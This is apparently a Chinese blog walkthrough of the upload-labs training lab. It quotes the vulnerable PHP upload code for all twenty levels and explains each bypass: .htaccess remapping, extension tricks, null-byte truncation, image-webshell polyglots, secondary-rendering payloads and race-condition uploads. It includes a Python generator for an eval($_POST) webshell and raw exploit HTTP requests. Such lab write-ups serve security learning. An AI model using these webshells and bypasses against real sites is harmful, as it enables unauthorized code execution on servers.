Life has its own fate, and meeting may not be accidental.

0%

upload-labs

是weber勇闯20关,哈哈哈!老早就想写这个东西了,因为最喜欢遇到上传的题型,基础要求稍微低那么一点点。从开学拖到寒假,我不愧是🕊王!

Pass-01

第一关,本来想抓包上传的,发现代理之后还提醒我不能上传php的说明,判断是前端的!查看源码,发现是jS判断后缀。。。。

覆盖原先JS里面的内容完成上传

Pass-02

第二关将后缀,改为jpg,抓包后改为php再上传,没看到我上传的upload路径,还以为我错了,看了下源码,就是通过mime来验证,没错下一题。

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
6
            $temp_file = $_FILES['upload_file']['tmp_name'];
7
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
8
            if (move_uploaded_file($temp_file, $img_path)) {
9
                $is_upload = true;
10
            } else {
11
                $msg = '上传出错!';
12
            }
13
        } else {
14
            $msg = '文件类型不正确,请重新上传!';
15
        }
16
    } else {
17
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
18
    }
19
}

Pass-03

上传了PHP,弹窗说asp、php等被过滤,就判断是特判了,将php改成了php5。
不允许上传.asp,.aspx,.php,.jsp后缀文件,但是可以上传其他任意后缀。比如说:.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有如下配置代码

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

AddType 指令:在给定的文件扩展名与特定的内容类型之间建立映射

但是03,没有过滤htaccess,所以可以直接上传htaccess,将jpg后缀解析为php文件

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array('.asp','.aspx','.php','.jsp');
6
        $file_name = trim($_FILES['upload_file']['name']);
7
        $file_name = deldot($file_name);//删除文件名末尾的点
8
        $file_ext = strrchr($file_name, '.');
9
        $file_ext = strtolower($file_ext); //转换为小写
10
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11
        $file_ext = trim($file_ext); //收尾去空
12
13
        if(!in_array($file_ext, $deny_ext)) {
14
            $temp_file = $_FILES['upload_file']['tmp_name'];
15
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
16
            if (move_uploaded_file($temp_file,$img_path)) {
17
                 $is_upload = true;
18
            } else {
19
                $msg = '上传出错!';
20
            }
21
        } else {
22
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
23
        }
24
    } else {
25
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
26
    }
27
}

Pass-04

过滤了好多好多好多好多后缀。。但是唯独没有过滤htaccess。。。

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
6
        $file_name = trim($_FILES['upload_file']['name']);
7
        $file_name = deldot($file_name);//删除文件名末尾的点
8
        $file_ext = strrchr($file_name, '.');
9
        $file_ext = strtolower($file_ext); //转换为小写
10
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11
        $file_ext = trim($file_ext); //收尾去空
12
13
        if (!in_array($file_ext, $deny_ext)) {
14
            $temp_file = $_FILES['upload_file']['tmp_name'];
15
            $img_path = UPLOAD_PATH.'/'.$file_name;
16
            if (move_uploaded_file($temp_file, $img_path)) {
17
                $is_upload = true;
18
            } else {
19
                $msg = '上传出错!';
20
            }
21
        } else {
22
            $msg = '此文件不允许上传!';
23
        }
24
    } else {
25
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
26
    }
27
}

之前收藏了生成htaccess以及木马的脚本。

1
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
2
3
4
def generate_php_file(filename, script):
5
    phpfile = open(filename, 'wb')
6
7
    phpfile.write(script.encode('utf-16be'))
8
    phpfile.write(SIZE_HEADER)
9
10
    phpfile.close()
11
12
13
def generate_htacess():
14
    htaccess = open('.htaccess', 'wb')
15
16
    htaccess.write(SIZE_HEADER)
17
    htaccess.write(b'AddType application/x-httpd-php .lethe\n') # 将.lethe后缀的文件作为php解析
18
    htaccess.write(b'php_value zend.multibyte 1\n')
19
    htaccess.write(b'php_value zend.detect_unicode 1\n')
20
    htaccess.write(b'php_value display_errors 1\n')
21
22
    htaccess.close()
23
24
25
generate_htacess()
26
27
generate_php_file("shell.lethe", "<?php eval(@$_POST['a']); ?>")

Pass-05

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6
        $file_name = trim($_FILES['upload_file']['name']);
7
        $file_name = deldot($file_name);//删除文件名末尾的点
8
        $file_ext = strrchr($file_name, '.');
9
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
10
        $file_ext = trim($file_ext); //首尾去空
11
12
        if (!in_array($file_ext, $deny_ext)) {
13
            $temp_file = $_FILES['upload_file']['tmp_name'];
14
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
15
            if (move_uploaded_file($temp_file, $img_path)) {
16
                $is_upload = true;
17
            } else {
18
                $msg = '上传出错!';
19
            }
20
        } else {
21
            $msg = '此文件类型不允许上传!';
22
        }
23
    } else {
24
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
25
    }
26
}

第五关虽然多了个htaccess,但是明显发现比上次的少了PHP后缀的大小写~

Pass-06

和上面代码一样,但是少了一行

$file_ext = trim($file_ext); //首尾去空
可以通过再php后面加空格来绕过!

Pass-07

和上面代码一样但是少了一行

$file_name = deldot($file_name);//删除文件名末尾的点

可以在末尾加.来绕过!

Pass-08

少了这一句

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

必须是windows, 必须是php, 必须是那个源文件
php在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名
他的目的就是不检查后缀名….

也就是说当文件名为” XX.php.::$DATA “,就可以绕过后缀检测

应该是windows特性,会被默认为文件流处理,但是由于靶机是linux,所以$DATA会被保留。

Pass-09

这题源码

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6
        $file_name = trim($_FILES['upload_file']['name']);
7
        $file_name = deldot($file_name);//删除文件名末尾的点
8
        $file_ext = strrchr($file_name, '.');
9
        $file_ext = strtolower($file_ext); //转换为小写
10
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11
        $file_ext = trim($file_ext); //首尾去空
12
        
13
        if (!in_array($file_ext, $deny_ext)) {
14
            $temp_file = $_FILES['upload_file']['tmp_name'];
15
            $img_path = UPLOAD_PATH.'/'.$file_name;
16
            if (move_uploaded_file($temp_file, $img_path)) {
17
                $is_upload = true;
18
            } else {
19
                $msg = '上传出错!';
20
            }
21
        } else {
22
            $msg = '此文件类型不允许上传!';
23
        }
24
    } else {
25
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
26
    }
27
}

是比较完整的源码。看他源码,先是删除末尾的点,再进行末尾去空格。但是如果后缀还有个点的话,当服务器为windows的话会被删除,变成php文件进行解析。只限windows服务器。

Pass-10

源码:

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
6
7
        $file_name = trim($_FILES['upload_file']['name']);
8
        $file_name = str_ireplace($deny_ext,"", $file_name);
9
        $temp_file = $_FILES['upload_file']['tmp_name'];
10
        $img_path = UPLOAD_PATH.'/'.$file_name;        
11
        if (move_uploaded_file($temp_file, $img_path)) {
12
            $is_upload = true;
13
        } else {
14
            $msg = '上传出错!';
15
        }
16
    } else {
17
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
18
    }
19
}

trim — 去除字符串首尾处的空白字符(或者其他字符),
所以双写即可绕过。

Pass-11

源码:

1
$is_upload = false;
2
$msg = null;
3
if(isset($_POST['submit'])){
4
    $ext_arr = array('jpg','png','gif');
5
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
6
    if(in_array($file_ext,$ext_arr)){
7
        $temp_file = $_FILES['upload_file']['tmp_name'];
8
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
9
10
        if(move_uploaded_file($temp_file,$img_path)){
11
            $is_upload = true;
12
        } else {
13
            $msg = '上传出错!';
14
        }
15
    } else{
16
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
17
    }
18
}

可以看到路径通过get的save_path拼接,后面利用move_uploaded_file函数,可以利用%00截断后面的内容来上传。

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

原理是利用C语言的终止符特性,当C语言在执行过程中遇到%00会被当成终止符,因此程序会自动截断后续信息。

但是由于PHP环境是7.2的,所以不能实现上传

条件:

php版本小于5.3.x,并且php.ini的magic_quotes_gpc要关闭。

Pass-12

1
$is_upload = false;
2
$msg = null;
3
if(isset($_POST['submit'])){
4
    $ext_arr = array('jpg','png','gif');
5
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
6
    if(in_array($file_ext,$ext_arr)){
7
        $temp_file = $_FILES['upload_file']['tmp_name'];
8
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
9
10
        if(move_uploaded_file($temp_file,$img_path)){
11
            $is_upload = true;
12
        } else {
13
            $msg = "上传失败";
14
        }
15
    } else {
16
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
17
    }
18
}

可以看到将GET改成了POST,POST%00不会被自动解析,所以我们抓取信息后在hex二进制后添加

Pass-13

1
function getReailFileType($filename){
2
    $file = fopen($filename, "rb");
3
    $bin = fread($file, 2); //只读2字节
4
    fclose($file);
5
    $strInfo = @unpack("C2chars", $bin);    
6
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
7
    $fileType = '';    
8
    switch($typeCode){      
9
        case 255216:            
10
            $fileType = 'jpg';
11
            break;
12
        case 13780:            
13
            $fileType = 'png';
14
            break;        
15
        case 7173:            
16
            $fileType = 'gif';
17
            break;
18
        default:            
19
            $fileType = 'unknown';
20
        }    
21
        return $fileType;
22
}
23
24
$is_upload = false;
25
$msg = null;
26
if(isset($_POST['submit'])){
27
    $temp_file = $_FILES['upload_file']['tmp_name'];
28
    $file_type = getReailFileType($temp_file);
29
30
    if($file_type == 'unknown'){
31
        $msg = "文件未知,上传失败!";
32
    }else{
33
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
34
        if(move_uploaded_file($temp_file,$img_path)){
35
            $is_upload = true;
36
        } else {
37
            $msg = "上传出错!";
38
        }
39
    }
40
}

代码通过读取文件前两个字节来判断文件类型,因此上传图片马,利用文件包含漏洞,读取图片马,当作php文件解析。

1.php:

<?php phpinfo(); ?>

cmd:

copy 1.jpg/b+2.php/a webshell.jpg

文件包含漏洞

1
<?php
2
/*
3
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
4
*/
5
header("Content-Type:text/html;charset=utf-8");
6
$file = $_GET['file'];
7
if(isset($file)){
8
    include $file;
9
}else{
10
    show_source(__file__);
11
}
12
?>

利用file读取木马,include将图片马中的php代码解析!

payload:

http://2e0b8a71-0ad3-4a16-b653-1cf83aaeaf31.node3.buuoj.cn/include.php?file=upload/4120200115072754.jpg

Pass-14

源码

1
function isImage($filename){
2
    $types = '.jpeg|.png|.gif';
3
    if(file_exists($filename)){
4
        $info = getimagesize($filename);
5
        $ext = image_type_to_extension($info[2]);
6
        if(stripos($types,$ext)>=0){
7
            return $ext;
8
        }else{
9
            return false;
10
        }
11
    }else{
12
        return false;
13
    }
14
}
15
16
$is_upload = false;
17
$msg = null;
18
if(isset($_POST['submit'])){
19
    $temp_file = $_FILES['upload_file']['tmp_name'];
20
    $res = isImage($temp_file);
21
    if(!$res){
22
        $msg = "文件未知,上传失败!";
23
    }else{
24
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
25
        if(move_uploaded_file($temp_file,$img_path)){
26
            $is_upload = true;
27
        } else {
28
            $msg = "上传出错!";
29
        }
30
    }
31
}

通过getimagesize(),来判断图片。但是其中也有判断是否为jpg,或者gif和png。利用pass-13的图片马可以实现绕过!

getimagesize()

如果只有一个getimagesize()限制那么可以用普通文件,通过设置height以及width来绕过。

如:

1
#define width 1337
2
#define height 1337

Pass-15

1
function isImage($filename){
2
    //需要开启php_exif模块
3
    $image_type = exif_imagetype($filename);
4
    switch ($image_type) {
5
        case IMAGETYPE_GIF:
6
            return "gif";
7
            break;
8
        case IMAGETYPE_JPEG:
9
            return "jpg";
10
            break;
11
        case IMAGETYPE_PNG:
12
            return "png";
13
            break;    
14
        default:
15
            return false;
16
            break;
17
    }
18
}
19
20
$is_upload = false;
21
$msg = null;
22
if(isset($_POST['submit'])){
23
    $temp_file = $_FILES['upload_file']['tmp_name'];
24
    $res = isImage($temp_file);
25
    if(!$res){
26
        $msg = "文件未知,上传失败!";
27
    }else{
28
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
29
        if(move_uploaded_file($temp_file,$img_path)){
30
            $is_upload = true;
31
        } else {
32
            $msg = "上传出错!";
33
        }
34
    }
35
}

通过exif_imagetype()来判断是否为图片。

  • exif_imagetype() 读取一个图像的第一个字节并检查其签名。

可以通过图片马绕过。

exif_imagetype()

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

exif_imagetype() 的绕过方式

1
可以用"\x00\x00\x8a\x39\x8a\x39"
2
也可以用"#define width 1337"
3
        "#define height 1337"

Pass-16

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])){
4
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
5
    $filename = $_FILES['upload_file']['name'];
6
    $filetype = $_FILES['upload_file']['type'];
7
    $tmpname = $_FILES['upload_file']['tmp_name'];
8
9
    $target_path=UPLOAD_PATH.'/'.basename($filename);
10
11
    // 获得上传文件的扩展名
12
    $fileext= substr(strrchr($filename,"."),1);
13
14
    //判断文件后缀与类型,合法才进行上传操作
15
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
16
        if(move_uploaded_file($tmpname,$target_path)){
17
            //使用上传的图片生成新的图片
18
            $im = imagecreatefromjpeg($target_path);
19
20
            if($im == false){
21
                $msg = "该文件不是jpg格式的图片!";
22
                @unlink($target_path);
23
            }else{
24
                //给新图片指定文件名
25
                srand(time());
26
                $newfilename = strval(rand()).".jpg";
27
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
28
                $img_path = UPLOAD_PATH.'/'.$newfilename;
29
                imagejpeg($im,$img_path);
30
                @unlink($target_path);
31
                $is_upload = true;
32
            }
33
        } else {
34
            $msg = "上传出错!";
35
        }
36
37
    }else if(($fileext == "png") && ($filetype=="image/png")){
38
        if(move_uploaded_file($tmpname,$target_path)){
39
            //使用上传的图片生成新的图片
40
            $im = imagecreatefrompng($target_path);
41
42
            if($im == false){
43
                $msg = "该文件不是png格式的图片!";
44
                @unlink($target_path);
45
            }else{
46
                 //给新图片指定文件名
47
                srand(time());
48
                $newfilename = strval(rand()).".png";
49
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
50
                $img_path = UPLOAD_PATH.'/'.$newfilename;
51
                imagepng($im,$img_path);
52
53
                @unlink($target_path);
54
                $is_upload = true;               
55
            }
56
        } else {
57
            $msg = "上传出错!";
58
        }
59
60
    }else if(($fileext == "gif") && ($filetype=="image/gif")){
61
        if(move_uploaded_file($tmpname,$target_path)){
62
            //使用上传的图片生成新的图片
63
            $im = imagecreatefromgif($target_path);
64
            if($im == false){
65
                $msg = "该文件不是gif格式的图片!";
66
                @unlink($target_path);
67
            }else{
68
                //给新图片指定文件名
69
                srand(time());
70
                $newfilename = strval(rand()).".gif";
71
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
72
                $img_path = UPLOAD_PATH.'/'.$newfilename;
73
                imagegif($im,$img_path);
74
75
                @unlink($target_path);
76
                $is_upload = true;
77
            }
78
        } else {
79
            $msg = "上传出错!";
80
        }
81
    }else{
82
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
83
    }
84
}

二次渲染

二次渲染后会将我们的一句话木马删除

因为环境的问题,我的木马没被删除。。。,我不知道哪里出问题了具体可以看

upload-labs之pass 16详细分析

  • PNG图片
1
<?php
2
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
3
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
4
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
5
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
6
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
7
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
8
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
9
    0x66, 0x44, 0x50, 0x33);
10
11
12
13
$img = imagecreatetruecolor(32, 32);
14
15
for ($y = 0; $y < sizeof($p); $y += 3) {
16
     $r = $p[$y];
17
     $g = $p[$y+1];
18
     $b = $p[$y+2];
19
     $color = imagecolorallocate($img, $r, $g, $b);
20
     imagesetpixel($img, round($y / 3), 0, $color);
21
}
22
23
imagepng($img,'./1.png');
24
?>
  • GIF

GIF图片对比原先和二次渲染的部分,将没有被改变的地方中间插入PHP语句就行。

Pass-17

1
$is_upload = false;
2
$msg = null;
3
4
if(isset($_POST['submit'])){
5
    $ext_arr = array('jpg','png','gif');
6
    $file_name = $_FILES['upload_file']['name'];
7
    $temp_file = $_FILES['upload_file']['tmp_name'];
8
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
9
    $upload_file = UPLOAD_PATH . '/' . $file_name;
10
11
    if(move_uploaded_file($temp_file, $upload_file)){       //临时储存
12
        if(in_array($file_ext,$ext_arr)){           //判断
13
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
14
             rename($upload_file, $img_path);
15
             $is_upload = true;
16
        }else{
17
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
18
            unlink($upload_file);       //如果不为jpg||png||gif,删除
19
        }
20
    }else{
21
        $msg = '上传出错!';
22
    }
23
}

因为他是先储存再删除,可以来进行竞争上传,一个上传php文件,一个请求该php文件。

竞争上传

网站逻辑:
1、网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
从而达到利用的效果。

上传

1
POST /Pass-17/index.php?action=show_code HTTP/1.1
2
Host: 03c52d9c-b9b4-46c5-ac2a-aa25cb0dee7a.node3.buuoj.cn
3
Content-Length: 318
4
Pragma: no-cache
5
Cache-Control: no-cache
6
Upgrade-Insecure-Requests: 1
7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
8
Origin: http://03c52d9c-b9b4-46c5-ac2a-aa25cb0dee7a.node3.buuoj.cn
9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPBfkOqXEbfZTLCFK
10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
11
Referer: http://03c52d9c-b9b4-46c5-ac2a-aa25cb0dee7a.node3.buuoj.cn/Pass-17/index.php?action=show_code
12
Accept-Encoding: gzip, deflate
13
Accept-Language: zh-CN,zh;q=0.9
14
Connection: close
15
16
------WebKitFormBoundaryPBfkOqXEbfZTLCFK
17
Content-Disposition: form-data; name="upload_file"; filename="1.php"
18
Content-Type: application/octet-stream
19
20
<?php phpinfo(); ?>
21
------WebKitFormBoundaryPBfkOqXEbfZTLCFK
22
Content-Disposition: form-data; name="submit"
23
24
上传
25
------WebKitFormBoundaryPBfkOqXEbfZTLCFK--

访问

1
GET /upload/1.php HTTP/1.1
2
Host: 03c52d9c-b9b4-46c5-ac2a-aa25cb0dee7a.node3.buuoj.cn
3
Upgrade-Insecure-Requests: 1
4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6
Accept-Encoding: gzip, deflate
7
Accept-Language: zh-CN,zh;q=0.9
8
Connection: close

但是由于平台不允许(我太菜,记得好像线程放慢点就可以了!我懒)。

所以不演示了!

Pass-18

18与17类似,一步步验证,如果否则删除

pass-19

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
6
7
        $file_name = $_POST['save_name'];
8
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);    //pathinfo()函数以数组返回文件路径的信息。
9
10
        if(!in_array($file_ext,$deny_ext)) {
11
            $temp_file = $_FILES['upload_file']['tmp_name'];
12
            $img_path = UPLOAD_PATH . '/' .$file_name;
13
            if (move_uploaded_file($temp_file, $img_path)) { 
14
                $is_upload = true;
15
            }else{
16
                $msg = '上传出错!';
17
            }
18
        }else{
19
            $msg = '禁止保存为该类型文件!';
20
        }
21
22
    } else {
23
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
24
    }
25
}

Miracle778这个大佬和我觉得差不多,既然上面已经有0x00截断,不再可能考同一个问题。

pathinfo返回信息以数组形式

1
<?php
2
print_r(pathinfo("/testweb/test.txt"));
3
?>
1
Array
2
(
3
[dirname] => /testweb
4
[basename] => test.txt
5
[extension] => txt
6
)

因为最后保存的文件名是post[‘save_name’]是可控的,而move_uploaded_file会忽略掉末尾的/.(不和pass-09一样,无PHP版本限制)。

Pass-20

最后一题,这题我做过,这题碰到过。

1
$is_upload = false;
2
$msg = null;
3
if(!empty($_FILES['upload_file'])){
4
    //检查MIME
5
    $allow_type = array('image/jpeg','image/png','image/gif');
6
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
7
        $msg = "禁止上传该类型文件!";
8
    }else{
9
        //检查文件名
10
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
11
        if (!is_array($file)) {
12
            $file = explode('.', strtolower($file));
13
        }
14
15
        $ext = end($file);
16
        $allow_suffix = array('jpg','png','gif');
17
        if (!in_array($ext, $allow_suffix)) {
18
            $msg = "禁止上传该后缀文件!";
19
        }else{
20
            $file_name = reset($file) . '.' . $file[count($file) - 1];
21
            $temp_file = $_FILES['upload_file']['tmp_name'];
22
            $img_path = UPLOAD_PATH . '/' .$file_name;
23
            if (move_uploaded_file($temp_file, $img_path)) {
24
                $msg = "文件上传成功!";
25
                $is_upload = true;
26
            } else {
27
                $msg = "文件上传失败!";
28
            }
29
        }
30
    }
31
}else{
32
    $msg = "请选择要上传的文件!";
33
}
  • if(!in_array($_FILES[‘upload_file’][‘type’],$allow_type)) 检查MIME
  • strtolower()将字符串转为小写
  • explode() 函数把字符串打散为数组。可以传入数组绕过。
  • $file_name = reset($file) . ‘.’ . $file[count($file) - 1];,如果那个值为空则可以跳过,令save_name[1]的值为空来进行绕过。

谢谢辣能看到这里!!!

一上部分思路参考Miracle778师傅